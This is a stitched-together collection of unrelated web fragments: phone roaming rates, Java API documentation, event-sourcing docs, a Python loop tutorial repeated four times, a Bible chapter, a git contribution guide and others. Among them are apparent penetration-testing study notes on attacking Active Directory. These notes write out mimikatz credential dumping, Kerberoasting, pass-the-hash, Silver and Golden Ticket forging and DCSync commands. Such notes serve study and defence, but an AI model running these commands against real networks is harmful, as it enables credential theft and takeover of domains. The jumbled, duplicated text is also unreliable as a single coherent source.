US Combo Pack 25
50 minutes1
150 Sent Text Messages2
50 MB of Data
US Combo Pack 35
Unlimited calling to Canada and the US1
Unlimited Text Messages to Canada and the US2
US Combo Pack 60
Unlimited calling to Canada and the US1
Unlimited Text Messages to Canada and the US2
200 MB of Data
US Combo Pack 100
Unlimited calling to Canada and the US1
Unlimited Text Messages to Canada and the US2
1 GB of Data
100 Minutes
Talk for up to 100 minutes1. Includes calls to Canada and the US.
Unlimited Text Messaging
Send Unlimited Text Messages to Canada and the US2.
100 MB
100 Megabytes of Data
US Combo Pack 25
50 minutes1
150 Sent Text Messages2
50 MB of Data
US Combo Pack 35
Unlimited calling to Canada and the US1
Unlimited Text Messages to Canada and the US2
US Combo Pack 60
Unlimited calling to Canada and the US1
Unlimited Text Messages to Canada and the US2
200 MB of Data
US Combo Pack 100
Unlimited calling to Canada and the US1
Unlimited Text Messages to Canada and the US2
1 GB of Data
100 Minutes
Talk for up to 100 minutes1. Includes calls to Canada and the US.
Unlimited Text Messaging
Send Unlimited Text Messages to Canada and the US2.
100 MB
100 Megabytes of Data
Dial *611 on your Eastlink mobile phone to activate your International Travel access. You can call anytime to remove the $100 monthly billing cycle limit placed on data roaming for your account protection.
To contact Eastlink when travelling Internationally please dial 1-902-407-8888.
These rates apply to call back home or communicate all around the world from your travelling destination.
| Country | Region | Zone | Calls*
(per minute) |
Text Sent
(per msg) |
Text
Received |
Picture and video
message sent or received3 |
Data usage
(per MB) |
|---|---|---|---|---|---|---|---|
| United States | 2 | US | $0.50 | $0.50 | Free | $0.50 + Data applicable (sent)
Data applicable (received) |
$1.00 |
All of the United States including Hawaii and Alaska


public class ConfERef extends ConfEObject implements Serializable, Cloneable
| Constructor and Description |
|---|
ConfERef(ConfInputStream buf)
Create an E ref from a stream containing a ref encoded in E external
format.
|
ConfERef(String node,
int[] ids,
int creation)
Create a new style E ref from its components.
|
ConfERef(String node,
int id,
int creation)
Create an old style E ref from its components.
|
| Modifier and Type | Method and Description |
|---|---|
Object |
clone() |
int |
creation()
Get the creation number from the ref.
|
void |
encode(ConfOutputStream buf)
Convert this ref to the equivalent E external representation.
|
boolean |
equals(Object o)
Determine if two refs are equal.
|
int |
hashCode() |
int |
id()
Get the id number from the ref.
|
int[] |
ids()
Get the array of id numbers from the ref.
|
boolean |
isNewRef()
Determine whether this is a new style ref.
|
String |
node()
Get the node name from the ref.
|
String |
toString()
Get the string representation of the ref.
|
decode
public ConfERef(ConfInputStream buf) throws ConfEDecodeException
buf
- the stream containing the encoded ref.ConfEDecodeException
- if the buffer does not contain a valid external
representation of an E ref.public ConfERef(String node, int[] ids, int creation)
node
- the nodename.ids
- an array of arbitrary numbers. Only the low order 18 bits of
the first number will be used. If the array contains only one
number, an old style ref will be written instead. At most
three numbers will be read from the array.creation
- another arbitrary number. Only the low order 2 bits will be
used.public ConfERef(String node, int id, int creation)
node
- the nodename.id
- an arbitrary number. Only the low order 18 bits will be used.creation
- another arbitrary number. Only the low order 2 bits will be
used.public Object clone()
clone
in class ConfEObject
public int creation()
public void encode(ConfOutputStream buf)
encode
in class ConfEObject
buf
- an output stream to which the encoded ref should be written.public boolean equals(Object o)
equals
in class ConfEObject
o
- the other ref to compare to.public int id()
public int[] ids()
public boolean isNewRef()
public String node()
public String toString()
toString
in class ConfEObject


--- permalink: /docs/fundamentals/eventsourcing/ layout: docs lang: en ---
The way Eventific persists data
Never memorize something that you can look up
We have now concluded that Eventific is using CQRS and what that pattern is. However one big question remains, how do we maintain a state between a distributed system? In Redux we could just keep an object that tracts the current state in memory. But now we have 1-n services that needs to share the state. And since it is distributed how do we handle concurrency issues?
Event sourcing is a persistence pattern that resolves around saving the events that causes the state change rather than the state itself. Using these events we can later build up the current state. This is usually a rather quick process. The events are viewed as the single source of truth
This pattern suits us like the hand in the glove. When we recieve a command we can simply validate the command and the turn it into one or several events that we the persist in something called the event store
The event store is the place where we then persist the events after they have been created. This store can be used by a Saga, or by the Query side. Common stores could be MongoDB, DynamoDB, or MariaDB. However it could even be something as simple as a shared file.
The events in the event store does always have a sequential event id. So the first event has id 0, the second has id 1, the third has id 2, and so on... Lets say now that two command sides are trying to handle the same command at the same time. Both have now calculated that they want to insert a new command with id 3. The first of them will succeed on inserting that event, the second handler however will validate the unique constraint on the event id therefor fail to insert the command. What the command handler can do in that case is retry, and use the command to generate new event, or if the state has changed in such a way that the command can no longer be applied we can simply fail the command


Python for loopThe for loop in Python is used to iterate the statements or a part of the program several times. It is frequently used to traverse the data structures like list, tuple, or dictionary. The syntax of for loop in python is given below. ExampleOutput: 0 1 2 3 4 5 6 7 8 9 Python for loop example : printing the table of the given numberOutput: Enter a number:10 10 X 1 = 10 10 X 2 = 20 10 X 3 = 30 10 X 4 = 40 10 X 5 = 50 10 X 6 = 60 10 X 7 = 70 10 X 8 = 80 10 X 9 = 90 10 X 10 = 100 Nested for loop in pythonPython allows us to nest any number of for loops inside a for loop. The inner loop is executed n number of times for every iteration of the outer loop. The syntax of the nested for loop in python is given below. Example 1Output: Enter the number of rows you want to print?5 * ** *** **** ***** Using else statement with for loopUnlike other languages like C, C++, or Java, python allows us to use the else statement with the for loop which can be executed only when all the iterations are exhausted. Here, we must notice that if the loop contains any of the break statement then the else statement will not be executed. Example 1In the above example, for loop is executed completely since there is no break statement in the loop. The control comes out of the loop and hence the else block is executed. Output: 0 1 2 3 4 for loop completely exhausted, since there is no break. Example 2In the above example, the loop is broken due to break statement therefore the else statement will not be executed. The statement present immediate next to else block will be executed. Output: 0 The loop is broken due to break statement...came out of loop
Next TopicPython while loop
|
Python for loopThe for loop in Python is used to iterate the statements or a part of the program several times. It is frequently used to traverse the data structures like list, tuple, or dictionary. The syntax of for loop in python is given below. ExampleOutput: 0 1 2 3 4 5 6 7 8 9 Python for loop example : printing the table of the given numberOutput: Enter a number:10 10 X 1 = 10 10 X 2 = 20 10 X 3 = 30 10 X 4 = 40 10 X 5 = 50 10 X 6 = 60 10 X 7 = 70 10 X 8 = 80 10 X 9 = 90 10 X 10 = 100 Nested for loop in pythonPython allows us to nest any number of for loops inside a for loop. The inner loop is executed n number of times for every iteration of the outer loop. The syntax of the nested for loop in python is given below. Example 1Output: Enter the number of rows you want to print?5 * ** *** **** ***** Using else statement with for loopUnlike other languages like C, C++, or Java, python allows us to use the else statement with the for loop which can be executed only when all the iterations are exhausted. Here, we must notice that if the loop contains any of the break statement then the else statement will not be executed. Example 1In the above example, for loop is executed completely since there is no break statement in the loop. The control comes out of the loop and hence the else block is executed. Output: 0 1 2 3 4 for loop completely exhausted, since there is no break. Example 2In the above example, the loop is broken due to break statement therefore the else statement will not be executed. The statement present immediate next to else block will be executed. Output: 0 The loop is broken due to break statement...came out of loop
Next TopicPython while loop
|
Python for loopThe for loop in Python is used to iterate the statements or a part of the program several times. It is frequently used to traverse the data structures like list, tuple, or dictionary. The syntax of for loop in python is given below. ExampleOutput: 0 1 2 3 4 5 6 7 8 9 Python for loop example : printing the table of the given numberOutput: Enter a number:10 10 X 1 = 10 10 X 2 = 20 10 X 3 = 30 10 X 4 = 40 10 X 5 = 50 10 X 6 = 60 10 X 7 = 70 10 X 8 = 80 10 X 9 = 90 10 X 10 = 100 Nested for loop in pythonPython allows us to nest any number of for loops inside a for loop. The inner loop is executed n number of times for every iteration of the outer loop. The syntax of the nested for loop in python is given below. Example 1Output: Enter the number of rows you want to print?5 * ** *** **** ***** Using else statement with for loopUnlike other languages like C, C++, or Java, python allows us to use the else statement with the for loop which can be executed only when all the iterations are exhausted. Here, we must notice that if the loop contains any of the break statement then the else statement will not be executed. Example 1In the above example, for loop is executed completely since there is no break statement in the loop. The control comes out of the loop and hence the else block is executed. Output: 0 1 2 3 4 for loop completely exhausted, since there is no break. Example 2In the above example, the loop is broken due to break statement therefore the else statement will not be executed. The statement present immediate next to else block will be executed. Output: 0 The loop is broken due to break statement...came out of loop
Next TopicPython while loop
|
Python for loopThe for loop in Python is used to iterate the statements or a part of the program several times. It is frequently used to traverse the data structures like list, tuple, or dictionary. The syntax of for loop in python is given below. ExampleOutput: 0 1 2 3 4 5 6 7 8 9 Python for loop example : printing the table of the given numberOutput: Enter a number:10 10 X 1 = 10 10 X 2 = 20 10 X 3 = 30 10 X 4 = 40 10 X 5 = 50 10 X 6 = 60 10 X 7 = 70 10 X 8 = 80 10 X 9 = 90 10 X 10 = 100 Nested for loop in pythonPython allows us to nest any number of for loops inside a for loop. The inner loop is executed n number of times for every iteration of the outer loop. The syntax of the nested for loop in python is given below. Example 1Output: Enter the number of rows you want to print?5 * ** *** **** ***** Using else statement with for loopUnlike other languages like C, C++, or Java, python allows us to use the else statement with the for loop which can be executed only when all the iterations are exhausted. Here, we must notice that if the loop contains any of the break statement then the else statement will not be executed. Example 1In the above example, for loop is executed completely since there is no break statement in the loop. The control comes out of the loop and hence the else block is executed. Output: 0 1 2 3 4 for loop completely exhausted, since there is no break. Example 2In the above example, the loop is broken due to break statement therefore the else statement will not be executed. The statement present immediate next to else block will be executed. Output: 0 The loop is broken due to break statement...came out of loop
Next TopicPython while loop
|


{{> meta}}
Lincoln Middle School - Projects
{{> navbar}}
Hello world this is the projects page!
Links to other pages
Store
Projects
Contact
{{> ga}}


22
David's Song of Deliverance
1 And David spoke to the LORD the words of this song on the day when the LORD delivered him from the hand of all his enemies, and from the hand of Saul.
2 He said,
“The LORD is my rock and my fortress and my deliverer,
3 my God, my rock, in whom I take refuge,
my shield, and the horn of my salvation,
my stronghold and my refuge,
my savior; you save me from violence.
4 I call upon the LORD, who is worthy to be praised,
and I am saved from my enemies.
5 “For the waves of death encompassed me,
the torrents of destruction assailed me;
6 the cords of Sheol entangled me;
the snares of death confronted me.
7 “In my distress I called upon the LORD;
to my God I called.
From his temple he heard my voice,
and my cry came to his ears.
8 “Then the earth reeled and rocked;
the foundations of the heavens trembled
and quaked, because he was angry.
9 Smoke went up from his nostrils,
and devouring fire from his mouth;
glowing coals flamed forth from him.
10 He bowed the heavens and came down;
thick darkness was under his feet.
11 He rode on a cherub and flew;
he was seen on the wings of the wind.
12 He made darkness around him his canopy,
thick clouds, a gathering of water.
13 Out of the brightness before him
coals of fire flamed forth.
14 The LORD thundered from heaven,
and the Most High uttered his voice.
15 And he sent out arrows and scattered them;
lightning, and routed them.
16 Then the channels of the sea were seen;
the foundations of the world were laid bare,
at the rebuke of the LORD,
at the blast of the breath of his nostrils.
17 “He sent from on high, he took me;
he drew me out of many waters.
18 He rescued me from my strong enemy,
from those who hated me,
for they were too mighty for me.
19 They confronted me in the day of my calamity,
but the LORD was my support.
20 He brought me out into a broad place;
he rescued me, because he delighted in me.
21 “The LORD dealt with me according to my righteousness;
according to the cleanness of my hands he rewarded me.
22 For I have kept the ways of the LORD
and have not wickedly departed from my God.
23 For all his rules were before me,
and from his statutes I did not turn aside.
24 I was blameless before him,
and I kept myself from guilt.
25 And the LORD has rewarded me according to my righteousness,
according to my cleanness in his sight.
26 “With the merciful you show yourself merciful;
with the blameless man you show yourself blameless;
27 with the purified you deal purely,
and with the crooked you make yourself seem tortuous.
28 You save a humble people,
but your eyes are on the haughty to bring them down.
29 For you are my lamp, O LORD,
and my God lightens my darkness.
30 For by you I can run against a troop,
and by my God I can leap over a wall.
31 This God—his way is perfect;
the word of the LORD proves true;
he is a shield for all those who take refuge in him.
32 “For who is God, but the LORD?
And who is a rock, except our God?
33 This God is my strong refuge
and has made my way blameless.
34 He made my feet like the feet of a deer
and set me secure on the heights.
35 He trains my hands for war,
so that my arms can bend a bow of bronze.
36 You have given me the shield of your salvation,
and your gentleness made me great.
37 You gave a wide place for my steps under me,
and my feet did not slip;
38 I pursued my enemies and destroyed them,
and did not turn back until they were consumed.
39 I consumed them; I thrust them through, so that they did not rise;
they fell under my feet.
40 For you equipped me with strength for the battle;
you made those who rise against me sink under me.
41 You made my enemies turn their backs to me,
those who hated me, and I destroyed them.
42 They looked, but there was none to save;
they cried to the LORD, but he did not answer them.
43 I beat them fine as the dust of the earth;
I crushed them and stamped them down like the mire of the streets.
44 “You delivered me from strife with my people;
you kept me as the head of the nations;
people whom I had not known served me.
45 Foreigners came cringing to me;
as soon as they heard of me, they obeyed me.
46 Foreigners lost heart
and came trembling out of their fortresses.
47 “The LORD lives, and blessed be my rock,
and exalted be my God, the rock of my salvation,
48 the God who gave me vengeance
and brought down peoples under me,
49 who brought me out from my enemies;
you exalted me above those who rose against me;
you delivered me from men of violence.
50 “For this I will praise you, O LORD, among the nations,
and sing praises to your name.
51 Great salvation he brings to his king,
and shows steadfast love to his anointed,
to David and his offspring forever.”


Examples
Spawn
Terminate
Links
Monitors
Receive
Send
State
Multiple Nodes
Send across Nodes
Link across Nodes


The following scenario assumes that we were able to compromise the Windows client and get local admin level access on it
Active Directory enumeration:- The traditional approach:
- To enumerate all local accounts: net user
- Enumerate all users in the entire domain: net user /domain
- Show info on a particular user: net user jeff_admin /domain
- Enumerate all groups in the domain: net group /domain
- However, a big limitation of net.exe is that it cannot unravel nested gropus
- A modern approach:
- We can leverage PowerShell to create a script (enumerateAD.ps1) that will enumerate all the users in the domain and their properties via a DirectorySearcher object, which uses LDAP (a network protocol understood by domain conrollers)
- To get the hostname and distinguished name of the domain controller: [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
- If we now execute the PowerShell script (with .
- enumerateAD.ps1), we find the full LDAP provider path: LDAP://DC01.corp.com/DC=corp,DC=com
- Now, we expand the script to enumerateAD2.ps1. When run (with ./enumerateAD2.ps1), the script enumerates all the users in the domain
- To narrow down our search, we cna use filter to restrict the search to particular user groups, for example Domain Admins, or to specific usernames, for example Jeff_Admin: ./enumerateAD3.ps1
- This PowerShell script is very flexible and can be used to numerate many more aspects of Active Directory
- Resolving nested groups:
- Let"s expand our script to look into the nested groups: ./enumerateAD4.ps1
- Currently logged in users:
- To list currently logged on users, we can try to use two Windows APIs, called NetWkstaUserEnum (to invoke against workstations) and NetSessionEnum (to invoke against domain controllers)
- To invoke NetWkstaUserEnum, we can use the PowerView script from PowerShell Empire, but the tool need to be already on the machine:
- cd C:\Tools\active_directory
- Import-Module .\PowerView.ps1
- Get-NetLoggedon -ComputerName client251
- Next, let's try to enumerate active sessions to a domain controller (i.e. DC01), invoking NetSessionEnum:
- Get-NetSession -ComputerName dc01
- Enumeration Through Service Principal Names:
- Pre-define service accounts LocalSystem, LocalService, NetworkService
- When applications such as IIS, Exchange or SQL are integrated with AD, a unique service instance identifier, known as Service Principal Name (SPN), is used to associate a service on a specific service to a service account on AD. By enumerating SPNs, we can find IP addresses and port of services on various servers which are integrated with AD. We will query the domain controller for SPNs with a new version of our script:
-
Active Directory authentication:- AD supports two authentication methods: NTLM or Kerberos (default)
- NTLM authentication:
-
- Kerberos authentication
- It uses a ticket system
- The domain controller acts as key distribution center (KDC)
- Cached credential storage and retieval:
- Password hashes for Kerberos are saved on the Local Security Authority Subsystem Service (LSASS)
- We need Local Admin to access LSASS and LSASS is encrypted
- Mimikatz can be used to try to access LSASS and extract password hashes for all logged on users:
- mimikatz # privilege::debug
- mimikatz # sekurlsa::logonpasswords
- We can now try to crack the hashes or use mimikatz to exploit the TGT and service tickets:
- mimikatz # sekurlsa::tickets
- mimikatz is worth exploring more given its many functionalities
- Service Account Attacks:
- We will abuse the Service Ticket and attempt to crack the password of the Service Account, exporting the hashes to our Kali machine to attempt cracking them (attack calle Kerberoasting):
- From PowerShell: Add-Type -AssemblyName Syste,.IdentityModel New-Object
- From PowerShell: System,.IdentityModel.Tokens.KerberosRequestorSecurityTocken -ArgumentList 'HTTP/CorpWebServer.corp.com'
- From PowerShell: klist
- With mimikatz we export the hashes to the disk of the server: mimikatz # kerberos::list /export
- We then transfer the hashes to our Kali attacker machine for example to the location<EMAIL_ADDRESS>- We install kereroast on our Kali machine: sudo apt-get update && sudo apt-get install kerberoast
- Finally, to crack the hash from Kali attacker machine: python /usr/share/kerberoast/tgsrepcrack.py wordlist.txt<EMAIL_ADDRESS>- Low and slow password guessing:
- Some domain account policies have account lock outs that may be triggered by brute force or wordlist cracking attacks
- To perform such attack, we first look at the domain account policies and in particular at the "Lockout threshold" and "lockout duration": net accounts
- We can use our PowerShell script to implement our attack: ./enumerateAD6.ps1
- The output will be different in the case the password provided is correct or incorrect and the consequent output will be different (success in case the password is correct. an exception in case it is not correct)
- We can then create a powershell script that will perform this check at a certain brute force rate, based on the lock out period we discovered earlier
Active Directory Lateral Movement:- Pass the hash:
- It only works on services that use NTLM, not Kerberos
- Let"s see an example of pass the hash attack using the pth-winexe executable from the Pass-the-Hash toolkit:
- pth-winexe -U offsec%blablantlmhash //<IP_ADDRESS> cmd
- Overpass the hash:
- It allows to overabuse a NTLM user hash to get a Kerberos TGT (Service TIcket) that authenticates us access to another machine or service as that user
- First of all, we dump the hashes with mimikatz: mimikatz # sekurls a::logonpasswords
- Then, we need to turn the NTLM hash into a Kerberos ticket...
- We can use again mimikatz to create a PowerShell console run with the privelege of user jeff_admin: mimikatz # sekurlsa::pth /user:jeff_admin /domain:corp.com /ntlm:blablantlmhash /run:PowerShell.exe
- Within this PowerShell, let us authenticate to a network share on the domain controller in order to generate a TGT: net use \\dc01
- Now we list the cached Kerberos tickets with klist: klist
- And we find the newly requested Kerberos tickets, which includes the TGT and the TGS
- We can use the obtainet TGT with psexec, which does not accept password hashes, but only TGTs. With the following command, we obtain a shell with privelege of user jeff_admin on the domain controller dc01: .\PsExec.exe \\dc01 cmd.exe
- Pass the ticket (Silver Ticket):
- This attack takes advantage of the TGS, which can be exported and reinjected in other machines on the network and then used to authenticate to specific services with no additional authenticatio required if the TGS is in the name of the same user who is trying to authenticate to the server. This attack does not give us additional privilege, but it gives us the flexibility to decide from which machine on the network originate the athentication (not possible in the case of overpassing the hashes). This attack is known as Silver Ticket and we can use mimikatz to create the Silver Ticket.
- First, we need to find the domain SID: whoami /user
- From the user SID output of the whoami /user we need to eliminate the last 4 digits to find the domain SID
- Before creating a new ticket, we flush all existing Kerberos tockets with the command: mimikatz # kerberos::purge
- We verify the purge with the command: mimikatz # kerberos::list
- Finally, to create the Silver Ticket with mimilatz (to note that the flag /ptt means that mimikats inject the Silver Ticket directly in memory): mimikatz # kerberos::golden /user:offsec /domain:corp.com /sid:blabladomainsid /target:CorpWebServer.corp.com /service:HTTP /rc4:blablablapasswordhashofhteserviceaccount /ptt
- We can confirm the ticket has been successfully created running again: mimikatz # kerberos::list
Active Directory Persistence:- Golden Tickets:
- In Kerberos, when a user submits a request for a TGT, the Key Distribution Center (KDC) encrypts the TGT with a secret key, known only to the KDCs in the domain. This secret key is the password hash of a domain user account called krbtgt. If we can get hold of the krbtgt, we can create our own self made TGTs, or Golden Tickets.
- Golden Tickets are the best way to achieve AD persistence.
- The best advantage is that the krbtgt account password is not automatically changed.
- To exploit this technique, we need to assume we have got Domain Admin access in the network or compromised the Domain Controller itself. With such access, we can extract the password hash of the krbtgt account with mimikatz:
- mimikatz # privilege:debug
- mimikatz # lsadump::lsa /patch
- To create the Golden Ticket, we do not necessarily need to be on the Domain Controller, but any workstation can do that:
- mimikatz # privilege:debug
- mimikatz # kerberos::purge
- mimikatz # kerberos::golden /user:fakeuser /domain:corp.com /sid:blablabladomainsid /krbtgt:blablablakrbtgtpasswordhash /ptt
- With the Golden Ticket injected into memory, we can now launch a new command prompt with misc::cmd:
-
- And the attempt lateral movement with psexec:
- psexec.exe \\dc01 cmd.exe
- We now have an interactive shell on the domain controller and the whoami command shows that we are corp\fakeuser, a user that does not even exists in the AD domain and whoami /groups show that we are members of many powerful user groups, including the Domain Admins group, BINGO!
- Domain Controller Synchronization:
- Another way to achieve persistence in an AD domain, is to steal the password hashes for all administrative users in the domain.
- We could achieve this moving laterally from the domain controller and user mimikats to dump the hashes of all the users or steal a copy of the NTDS.dit database file (which is a copy of all the AD accounts stored on the hard drive), but these methods leave indicator of compromise and require to upload tools to the target machines.
- Another option is to abuse AD functionalities to reduce our attacker footprint. In prodction environments, there are usually more than one Domain Controller in a domain, this to provide redundancy. The Directory Replication Service, a remote protocol, uses replication to synchronize all the domain controllers in the domain.
- When a domani controller receives a request for an update, the domain controller does not verify that such request comes from another known domain controller, but it only verifies that the SID associated with the request has the correct privileges. If we attempt to issue a rougue update request to a domain controller from a user that is member of the Domain Admins, it will succeed. To request the replication we use once more mimikats:
- mimikatz # lsadump::dcsync /user:Administrator
- The output will contain the password hashes of all the users of the AD domain and we were able to achieve that without even logging onto the Domian Controller


Welcome to the Community Safety Unit's Complaint Portal. The Community Safety Unit delivers a province-wide compliance and enforcement program to enhance public safety. The Community Safety Unit operates under the Cannabis Control and Licensing Act and the Community Safety Act. Its focus is on illegal unlicensed cannabis retailers and other related illegal operations, and properties regularly used for illegal activities.
The portal may be used to submit complaints to the Community Safety Unit under the Cannabis Control and Licensing Act and the Community Safety Act. The nature of your complaint will determine the complaint form that you will use.
The Community Safety Unit is responsible for compliance and enforcement under the Cannabis Control and Licensing Act, with a focus on the illegal sale of cannabis. CSU investigators carry out compliance and enforcement activities against illegal unlicensed cannabis retailers and other related illegal operations across the province.
If you would like to submit a complaint against illegal unlicensed cannabis retailer or other related illegal operations, please select the option below.
The Community Safety Unit is also responsible for investigations under the Community Safety Act. The Community Safety Act targets properties in your community that are regularly used for specific criminal and nuisance activities, including drug production and trafficking, unlawful liquor sales, possession of unlawful weapons or explosives, and activities conducted by or on behalf of gangs and organized crime. CSU investigators carry out compliance and enforcement activities across the province against properties that receive complaints under the Community Safety Act.
If you would like to submit a complaint against a problem property that is regularly used for unlawful activity (possession/production/use/trafficking of illegal drugs/liquor, storage/possession of illegal firearms, gang or criminal organization activity, illegal gaming/gambling, storage/possession of stolen property) in a way that adversely affects your neighbourhood or community, please select the option below.


A truly cross platform task manager. Whether you're at home or on the go you can access your task list and stay organized.
Shared to do lists help keep you connected with friends, family and colleagues.
Break tasks down into simple steps, add due dates, and set reminders for your daily checklist to keep you on track.


git remote add upstream git@github.com:apache/opennlp.git
There are several ways to set up Git for committers and contributors. Contributors can safely set up Git in any way they choose, but committers should take extra care since they can push new commits to the upstream/master at Apache and various policies there make backing out mistakes problematic.
Create a Github account or use an existing one
Enable 2FA for the Github account, then logout and login
Enter your Github username for your Apache account under https://id.apache.org
Register here https://gitbox.apache.org/setup/
The gitbox setup will confirm that everything is working, to confirm again check that you are listed as a member here: https://github.com/orgs/apache/teams/opennlp-committers/members.
Fork the OpenNLP repositories:
Configure your user name and Apache e-mail in git
git remote add upstream git@github.com:apache/opennlp.git
The last part of the upstream remote url must match the repository name.
Your repository should have two remotes, the upstream remote, and the default origin remote which is pointing to your forked version of the repository.
Please do not commit directly to the master branch. All changes are done via Pull Requests, and a Pull Request needs to get two positive reviews and no change requests until it can be merged. The PR can be merged via the Github UI as described below or manually. Please also note that we do not use merge commits, the merge should be done using fast forward merging.
To merge a PR via Github follow these steps:
Wait for two positive reviews
Ensure the merge button is green (Travis CI build must have passed)
Select the option “Rebase and merge”, “Squash and merge” should only be used if the contributor is not providing a single squashed commit
Click on the merge button
Confirm the merge
Close the PR on GitHub and leave a comment why it was rejected.


Name:
Add to local Storage
Add to array names
list of names
JSON_NAME
loop
looping2
delete
Names
Gender


|
||||||||||
| PREV CLASS NEXT CLASS | FRAMES NO FRAMES | |||||||||
| SUMMARY: INNER | FIELD | CONSTR | METHOD | DETAIL: FIELD | CONSTR | METHOD |
java.lang.Object | +--org.apache.xerces.dom.RangeImpl
The RangeImpl class implements the org.w3c.dom.range.Range interface.
Please see the API documentation for the interface classes and use the interfaces in your client programs.
| Fields inherited from interface org.w3c.dom.ranges.Range |
|---|
END_TO_END, END_TO_START, START_TO_END, START_TO_START |
| Constructor Summary | |
|---|---|
RangeImpl(DocumentImpl document)
The constructor. |
| Method Summary | |
|---|---|
org.w3c.dom.DocumentFragment |
cloneContents()
Duplicates the contents of a Range |
org.w3c.dom.ranges.Range |
cloneRange()
Produces a new Range whose boundary-points are equal to the boundary-points of the Range. |
void |
collapse(boolean toStart)
Collapse a Range onto one of its boundary-points |
short |
compareBoundaryPoints(short how,
org.w3c.dom.ranges.Range sourceRange)
Compare the boundary-points of two Ranges in a document. |
void |
deleteContents()
Removes the contents of a Range from the containing document or document fragment without returning a reference to the removed content. |
void |
detach()
Called to indicate that the Range is no longer in use and that the implementation may relinquish any resources associated with this Range. |
org.w3c.dom.DocumentFragment |
extractContents()
Moves the contents of a Range from the containing document or document fragment to a new DocumentFragment. |
boolean |
getCollapsed()
TRUE if the Range is collapsed |
org.w3c.dom.Node |
getCommonAncestorContainer()
The deepest common ancestor container of the Range's two boundary-points. |
org.w3c.dom.Node |
getEndContainer()
Node within which the Range ends |
int |
getEndOffset()
Offset within the ending node of the Range. |
org.w3c.dom.Node |
getStartContainer()
Node within which the Range begins |
int |
getStartOffset()
Offset within the starting node of the Range. |
void |
insertedNodeFromDOM(org.w3c.dom.Node node)
This function is called from the DOM. |
void |
insertNode(org.w3c.dom.Node newNode)
Inserts a node into the Document or DocumentFragment at the start of the Range. |
void |
selectNode(org.w3c.dom.Node refNode)
Select a node and its contents |
void |
selectNodeContents(org.w3c.dom.Node refNode)
Select the contents within a node |
void |
setEnd(org.w3c.dom.Node refNode,
int offset)
Sets the attributes describing the end of a Range. |
void |
setEndAfter(org.w3c.dom.Node refNode)
Sets the end of a Range to be after a node |
void |
setEndBefore(org.w3c.dom.Node refNode)
Sets the end position to be before a node. |
void |
setStart(org.w3c.dom.Node refNode,
int offset)
Sets the attributes describing the start of the Range. |
void |
setStartAfter(org.w3c.dom.Node refNode)
Sets the start position to be after a node |
void |
setStartBefore(org.w3c.dom.Node refNode)
Sets the start position to be before a node |
void |
surroundContents(org.w3c.dom.Node newParent)
Reparents the contents of the Range to the given node and inserts the node at the position of the start of the Range. |
java.lang.String |
toString()
Returns the contents of a Range as a string. |
| Methods inherited from class java.lang.Object |
|---|
clone, equals, finalize, getClass, hashCode, notify, notifyAll, wait, wait, wait |
| Constructor Detail |
public RangeImpl(DocumentImpl document)
| Method Detail |
public org.w3c.dom.Node getStartContainer()
org.w3c.dom.ranges.Range
getStartContainer
in interface org.w3c.dom.ranges.Range
org.w3c.dom.ranges.Range
org.w3c.dom.DOMException
- INVALID_STATE_ERR: Raised if detach()
has already been
invoked on this object.public int getStartOffset()
org.w3c.dom.ranges.Range
getStartOffset
in interface org.w3c.dom.ranges.Range
org.w3c.dom.ranges.Range
org.w3c.dom.DOMException
- INVALID_STATE_ERR: Raised if detach()
has already been
invoked on this object.public org.w3c.dom.Node getEndContainer()
org.w3c.dom.ranges.Range
getEndContainer
in interface org.w3c.dom.ranges.Range
org.w3c.dom.ranges.Range
org.w3c.dom.DOMException
- INVALID_STATE_ERR: Raised if detach()
has already been
invoked on this object.public int getEndOffset()
org.w3c.dom.ranges.Range
getEndOffset
in interface org.w3c.dom.ranges.Range
org.w3c.dom.ranges.Range
org.w3c.dom.DOMException
- INVALID_STATE_ERR: Raised if detach()
has already been
invoked on this object.public boolean getCollapsed()
org.w3c.dom.ranges.Range
getCollapsed
in interface org.w3c.dom.ranges.Range
org.w3c.dom.ranges.Range
org.w3c.dom.DOMException
- INVALID_STATE_ERR: Raised if detach()
has already been
invoked on this object.public org.w3c.dom.Node getCommonAncestorContainer()
org.w3c.dom.ranges.Range
getCommonAncestorContainer
in interface org.w3c.dom.ranges.Range
org.w3c.dom.ranges.Range
org.w3c.dom.DOMException
- INVALID_STATE_ERR: Raised if detach()
has already been
invoked on this object.public void setStart(org.w3c.dom.Node refNode, int offset) throws org.w3c.dom.ranges.RangeException, org.w3c.dom.DOMException
org.w3c.dom.ranges.Range
setStart
in interface org.w3c.dom.ranges.Range
org.w3c.dom.ranges.Range
refNode
- The refNode
value. This parameter must be
different from null
.offset
- The startOffset
value.org.w3c.dom.ranges.RangeException
- INVALID_NODE_TYPE_ERR: Raised if refNode
or an ancestor
of refNode
is an Entity, Notation, or DocumentType
node.org.w3c.dom.DOMException
- INDEX_SIZE_ERR: Raised if offset
is negative or greater
than the number of child units in refNode
. Child units
are 16-bit units if refNode
is a type of CharacterData
node (e.g., a Text or Comment node) or a ProcessingInstruction
node. Child units are Nodes in all other cases.
detach()
has already
been invoked on this object.
refNode
was created
from a different document than the one that created this range.public void setEnd(org.w3c.dom.Node refNode, int offset) throws org.w3c.dom.ranges.RangeException, org.w3c.dom.DOMException
org.w3c.dom.ranges.Range
setEnd
in interface org.w3c.dom.ranges.Range
org.w3c.dom.ranges.Range
refNode
- The refNode
value. This parameter must be
different from null
.offset
- The endOffset
value.org.w3c.dom.ranges.RangeException
- INVALID_NODE_TYPE_ERR: Raised if refNode
or an ancestor
of refNode
is an Entity, Notation, or DocumentType
node.org.w3c.dom.DOMException
- INDEX_SIZE_ERR: Raised if offset
is negative or greater
than the number of child units in refNode
. Child units
are 16-bit units if refNode
is a type of CharacterData
node (e.g., a Text or Comment node) or a ProcessingInstruction
node. Child units are Nodes in all other cases.
detach()
has already
been invoked on this object.
refNode
was created
from a different document than the one that created this range.public void setStartBefore(org.w3c.dom.Node refNode) throws org.w3c.dom.ranges.RangeException
org.w3c.dom.ranges.Range
setStartBefore
in interface org.w3c.dom.ranges.Range
org.w3c.dom.ranges.Range
refNode
- Range starts before refNode
org.w3c.dom.ranges.RangeException
- INVALID_NODE_TYPE_ERR: Raised if the root container of
refNode
is not an Attr, Document, or DocumentFragment
node or if refNode
is a Document, DocumentFragment,
Attr, Entity, or Notation node.org.w3c.dom.DOMException
- INVALID_STATE_ERR: Raised if detach()
has already been
invoked on this object.
refNode
was created
from a different document than the one that created this range.public void setStartAfter(org.w3c.dom.Node refNode) throws org.w3c.dom.ranges.RangeException
org.w3c.dom.ranges.Range
setStartAfter
in interface org.w3c.dom.ranges.Range
